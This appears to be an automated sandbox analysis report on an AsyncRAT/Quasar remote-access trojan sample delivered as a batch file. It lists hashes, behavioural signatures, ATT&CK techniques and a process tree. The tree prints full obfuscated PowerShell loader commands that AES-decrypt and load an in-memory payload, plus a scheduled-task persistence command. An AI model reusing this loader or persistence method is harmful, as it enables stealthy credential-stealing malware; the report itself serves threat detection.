asyncrat | d329a265d4005b2cb8902d6148ff5e4477f2203bc2e476e51e5895f9be99c53e

Analysis

max time kernel
135s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
12/01/2023, 16:32

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General

Target
sky.bat
Size 49KB
Sample230112-t174sagg29
SHA256 d329a265d4005b2cb8902d6148ff5e4477f2203bc2e476e51e5895f9be99c53e
MD5 4300caa42bd8fc0c7d9ce83b19c6f1f6
SHA1 ed8eedc542e02a8ab749b02f161d39bb840a589c
SHA512 0ebcd250ff95b3bd8058e4bc69640afec65cf91a2745e71303edc48e6066ffa44a589bc2bd060eb54a0c9bc189169757f9a0ec292a6200090e1422db5f64ed30
SSDEEP 1536:WBqEwgF4HVzac6F8F2xqWa8VfXx0da57eezlV4R:1/gF41GLNxfa8VPuda57egQ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat rat spyware stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Executes dropped EXE 2 IoCs

pid	Process
3100	sky.bat.exe
668	suuule.bat.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	sky.bat.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
45	api.ipify.org
46	api.ipify.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
400	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3100	sky.bat.exe
3100	sky.bat.exe
5108	powershell.exe
5108	powershell.exe
668	suuule.bat.exe
668	suuule.bat.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3100	sky.bat.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	668	suuule.bat.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
668	suuule.bat.exe
668	suuule.bat.exe
668	suuule.bat.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
668	suuule.bat.exe
668	suuule.bat.exe
668	suuule.bat.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
668	suuule.bat.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 3100	4324	cmd.exe	80
PID 4324 wrote to memory of 3100	4324	cmd.exe	80
PID 3100 wrote to memory of 460	3100	sky.bat.exe	88
PID 3100 wrote to memory of 460	3100	sky.bat.exe	88
PID 460 wrote to memory of 5108	460	cmd.exe	90
PID 460 wrote to memory of 5108	460	cmd.exe	90
PID 5108 wrote to memory of 1924	5108	powershell.exe	91
PID 5108 wrote to memory of 1924	5108	powershell.exe	91
PID 1924 wrote to memory of 668	1924	cmd.exe	94
PID 1924 wrote to memory of 668	1924	cmd.exe	94
PID 668 wrote to memory of 400	668	suuule.bat.exe	95
PID 668 wrote to memory of 400	668	suuule.bat.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sky.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
  "sky.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\sky.bat').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CeRsc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3100
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\suuule.bat"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\suuule.bat"'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5108
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\suuule.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1924
      - C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe
        
        "suuule.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $aObMV = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\suuule.bat').Split([Environment]::NewLine);foreach ($HMeAa in $aObMV) { if ($HMeAa.StartsWith(':: ')) { $jAtOW = $HMeAa.Substring(3); break; }; };$ZFFIb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jAtOW);$ufQIZ = New-Object System.Security.Cryptography.AesManaged;$ufQIZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$ufQIZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$ufQIZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xOjIEV/9x6H2AllyLs+AVd39m7l0oQelRu64WlIJr2c=');$ufQIZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TIb2elsPL654mr15kjK1tw==');$iHrgg = $ufQIZ.CreateDecryptor();$ZFFIb = $iHrgg.TransformFinalBlock($ZFFIb, 0, $ZFFIb.Length);$iHrgg.Dispose();$ufQIZ.Dispose();$rCpxm = New-Object System.IO.MemoryStream(, $ZFFIb);$ZoKsk = New-Object System.IO.MemoryStream;$EUWbj = New-Object System.IO.Compression.GZipStream($rCpxm, [IO.Compression.CompressionMode]::Decompress);$EUWbj.CopyTo($ZoKsk);$EUWbj.Dispose();$rCpxm.Dispose();$ZoKsk.Dispose();$ZFFIb = $ZoKsk.ToArray();$ARNYR = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($ZFFIb);$BjviT = $ARNYR.EntryPoint;$BjviT.Invoke($null, (, [string[]] ('')))
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:668
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe" /rl HIGHEST /f
        7⤵
        Creates scheduled task(s)
        
        PID:400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
MD5 a6c9d692ed2826ecb12c09356e69cc09
SHA1 def728a6138cf083d8a7c61337f3c9dade41a37f
SHA512 2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3
MD5 SHA1 SHA512

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sky.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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sky.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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suuule.bat

Path C:\Users\Admin\AppData\Local\Temp\suuule.bat
Size 325KB
SHA256 56aa2d6eee7f10040da74bb29c3bbe1e555547249ac4fc21e53e7d6182941e9c
MD5 2f84982ec56d82645ac61de4fb3e6e50
SHA1 92817fc3db66755ad189049f8e4ad3dbbaaa6db1
SHA512 2a9802c6eb9eb263b7388e6659cd424592bc151e392330ac9fb3ebf96dc1e4127db124bd412c85480247089e9db972966c735b9e049680d6200b97581135c3cd
SSDEEP 6144:DEB5bqWybH45Y1SC+v6hxboMB9XNDb3OXaUaT9wb6mi9uKBqgpl+AJd1Pn:IB52dPhTBvvLFmaB9pl+A9
MD5 SHA1 SHA512 SSDEEP

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suuule.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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suuule.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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memory/668-153-0x00000243BEA00000-0x00000243BEAB2000-memory.dmp

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memory/668-149-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

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memory/668-152-0x00000243BE3F0000-0x00000243BE440000-memory.dmp

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memory/668-154-0x00000243BF070000-0x00000243BF232000-memory.dmp

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memory/668-155-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

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memory/3100-139-0x000001BB561A0000-0x000001BB561BE000-memory.dmp

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memory/3100-138-0x000001BB56100000-0x000001BB56176000-memory.dmp

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memory/3100-137-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

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memory/3100-135-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

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memory/3100-134-0x000001BB55860000-0x000001BB55882000-memory.dmp

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memory/5108-145-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

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memory/5108-142-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp

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